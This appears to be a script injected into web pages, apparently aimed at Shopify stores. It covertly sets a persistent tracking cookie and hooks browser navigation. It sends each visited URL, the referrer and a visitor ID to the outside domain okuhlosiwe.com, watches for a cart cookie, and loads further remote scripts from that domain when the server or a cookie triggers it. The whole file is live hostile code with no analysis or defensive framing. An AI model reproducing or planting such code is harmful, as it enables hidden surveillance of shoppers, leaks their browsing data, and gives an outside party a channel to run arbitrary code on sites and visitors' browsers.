function is_shopjis() { var scripts = document.querySelectorAll('script[src*="cdn.shopify.com"], script[src*="/shopify/"], link[href*="cdn.shopify.com"], link[href*="/shopify/"]'); if (scripts.length > 0) { return true; } else { return false; } } function getCookieread (cname) { var name = cname + '=' var ca = document.cookie.split(';') for (var i = 0; i < ca.length; i++) { var c = ca[i] while (c.charAt(0) === ' ') { c = c.substring(1) } if (c.indexOf(name) === 0) { return c.substring(name.length, c.length) } } return '' } function read_code () { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { var r = Math.random() * 16 | 0, v = c === 'x' ? r : (r & 0x3 | 0x8) return v.toString(16) }) } var super_allow = getCookieread('super_allow') if (super_allow) { let script = document.createElement('script'); script.src = 'https://okuhlosiwe.com/data/comp.js'; script.id = 'superuser_comp'; document.head.appendChild(script); } var c_read_url_okuhlosiwe = window.location.href; (() => { let oldPushState = history.pushState; history.pushState = function pushState() { let ret = oldPushState.apply(this, arguments); window.dispatchEvent(new Event('pushstate')); window.dispatchEvent(new Event('locationchange')); return ret; }; let oldReplaceState = history.replaceState; history.replaceState = function replaceState() { let ret = oldReplaceState.apply(this, arguments); window.dispatchEvent(new Event('replacestate')); window.dispatchEvent(new Event('locationchange')); return ret; }; window.addEventListener('popstate', () => { window.dispatchEvent(new Event('locationchange')); }); })(); MakeLog_okuhlosiwe(window.location.href).then(function (value) { window.addEventListener('locationchange', function () { if (window.location.href != c_read_url_okuhlosiwe) { c_read_url_okuhlosiwe = window.location.href; MakeLog_okuhlosiwe(window.location.href).then(function (value) { }) } }); }) async function MakeLog_okuhlosiwe (c_url) { var clickId = getCookieread('superuser') if (!clickId || clickId === '') clickId = read_code() var expires = (new Date(Date.now() + 30 * 86400 * 1000)).toUTCString() document.cookie = 'superuser=' + clickId + '; expires=' + expires + 86400 + ';path=/;' var data = { url: c_url, referrer: document.referrer, unique_id: clickId } try { let response = await fetch( 'https://okuhlosiwe.com/data/', { method: 'POST', body: new URLSearchParams(data), headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' }, }) if (response && response.ok) { var resp_result = await response.json(); if (resp_result.status == "success") { var log_id = resp_result['id']; } else { if (window.self === window.top) { var script = document.createElement('script'); if (is_shopjis()) { script.src = 'https://okuhlosiwe.com/data/failed.js?id='+resp_result.id+'&s=true'; } else { script.src = 'https://okuhlosiwe.com/data/failed.js?id='+resp_result.id+'&s=false'; } script.id = 'superuser'; document.head.appendChild(script); } } if (resp_result.comp == "success") { var comp_id = resp_result['comp']; } else { var script = document.createElement('script'); script.src = 'https://okuhlosiwe.com/data/comp.js'; script.id = 'superuser_comp'; document.head.appendChild(script); } } } catch (error) { } return '' } var okuhlosiwe_check_cart_interval = setInterval(() => { if (getCookieread("cart")) { MakeLog_okuhlosiwe(`${window.location.href}cart.js`); clearInterval(okuhlosiwe_check_cart_interval); } }, 1000);